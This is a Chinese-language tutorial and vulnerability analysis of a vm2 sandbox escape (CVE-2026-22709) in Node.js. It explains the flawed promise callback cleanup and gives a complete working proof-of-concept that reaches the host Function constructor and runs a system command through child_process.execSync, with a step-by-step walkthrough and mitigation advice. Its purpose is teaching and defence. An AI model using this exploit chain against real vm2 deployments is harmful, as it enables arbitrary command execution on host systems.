vm2沙箱逃逸漏洞(CVE-2026-22709)
字数 1454
更新时间 2026-01-31 12:05:04
vm2沙箱逃逸漏洞(CVE-2026-22709)教学文档
1. 漏洞概述
1.1 漏洞基本信息
- 漏洞编号:CVE-2026-22709
- 影响组件:vm2沙箱库
- 影响版本:vm2@3.10.0及之前版本
- 漏洞类型:沙箱逃逸
- 危险等级:高危
1.2 漏洞背景
vm2是Node.js生态中广泛使用的沙箱库,主要用于在隔离环境中安全执行不受信任的JavaScript代码。该库被广泛应用于在线代码执行平台、插件系统、模板引擎等多种需要代码隔离的场景。
2. 漏洞原理分析
2.1 核心问题
vm2在处理Promise回调函数时存在清理不完整的问题:
- localPromise.prototype.then的回调被正确清理
- globalPromise.prototype.then/catch的回调未被正确清理
- async函数返回的是globalPromise对象,而非localPromise
2.2 技术细节
2.2.1 问题代码位置
漏洞位于lib/setup-sandbox.js文件中。
2.2.2 具体实现对比
有问题的实现(globalPromise.prototype.then):
const globalPromiseThen = globalPromise.prototype.then;
globalPromise.prototype.then = function then(onFulfilled, onRejected) {
resetPromiseSpecies(this);
return globalPromiseThen.call(this, onFulfilled, onRejected); // 未清理回调
};
正确的实现(localPromise.prototype.then):
overrideWithProxy(PromisePrototype, 'then', PromisePrototype.then, {
apply(target, thiz, args) {
if (args.length > 1) {
const onRejected = args[1];
if (typeof onRejected === 'function') {
args[1] = function wrapper(error) {
error = ensureThis(error); // 正确清理
return localReflectApply(onRejected, this, [error]);
};
}
}
return localReflectApply(target, thiz, args);
}
});
2.3 攻击链分析
- 触发异常:通过
Error.name = Symbol()导致stack访问时抛出未清理的异常 - 利用async函数:async函数返回globalPromise,其.catch()回调未清理
- 获取宿主引用:通过
e.constructor.constructor获取宿主环境的Function构造函数 - 执行任意代码:利用宿主Function创建可访问
process.mainModule.require的代码
3. 环境搭建与复现
3.1 环境准备
mkdir vm2-poc && cd vm2-poc
npm init -y
npm install vm2@3.10.0
3.2 漏洞复现代码
const { VM } = require("vm2");
const code = `
const error = new Error();
error.name = Symbol();
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
const Error = e.constructor;
const Function = Error.constructor;
const f = new Function(
"process.mainModule.require('child_process').execSync('calc.exe')"
);
f();
});
`;
new VM().run(code);
3.3 攻击步骤详解
步骤1:创建异常对象
const error = new Error();
error.name = Symbol(); // 设置Symbol类型的name属性
步骤2:利用async函数
const f = async () => error.stack; // 返回globalPromise对象
const promise = f();
步骤3:触发未清理的catch回调
promise.catch(e => {
// 此时e是未经过清理的异常对象
const Error = e.constructor; // 获取Error构造函数
const Function = Error.constructor; // 获取宿主环境的Function构造函数
});
步骤4:执行系统命令
const f = new Function(
"process.mainModule.require('child_process').execSync('calc.exe')"
);
f(); // 执行系统命令,启动计算器
4. 漏洞影响分析
4.1 直接影响
- 攻击者可以突破vm2沙箱限制
- 在宿主环境中执行任意系统命令
- 访问宿主环境的敏感资源和模块
4.2 潜在风险
- 在线代码执行平台被攻破
- 插件系统安全性失效
- 模板引擎的代码隔离被绕过
5. 防护建议
5.1 立即措施
- 升级vm2到已修复的安全版本
- 审查使用vm2的应用程序
- 限制沙箱环境的网络和文件系统访问
5.2 长期防护
- 实施最小权限原则
- 定期进行安全审计
- 使用多层防御机制
6. 技术要点总结
6.1 关键漏洞点
- 回调清理不完整:globalPromise与localPromise处理不一致
- async函数特殊性:返回globalPromise而非沙箱内的Promise
- 异常处理链:通过异常对象获取宿主环境引用
6.2 攻击技术要点
- Symbol类型利用:触发特殊的异常处理路径
- 原型链污染:通过constructor属性向上追溯
- 函数构造器:利用Function构造函数绕过沙箱限制
7. 参考资源
- 官方漏洞公告:https://nvd.nist.gov/vuln/detail/CVE-2026-22709
- vm2项目地址:GitHub上的vm2仓库
- Node.js安全最佳实践:Node.js官方安全文档
本教学文档基于先知社区发布的漏洞分析文章编写,涵盖了CVE-2026-22709漏洞的技术细节、复现方法和防护措施。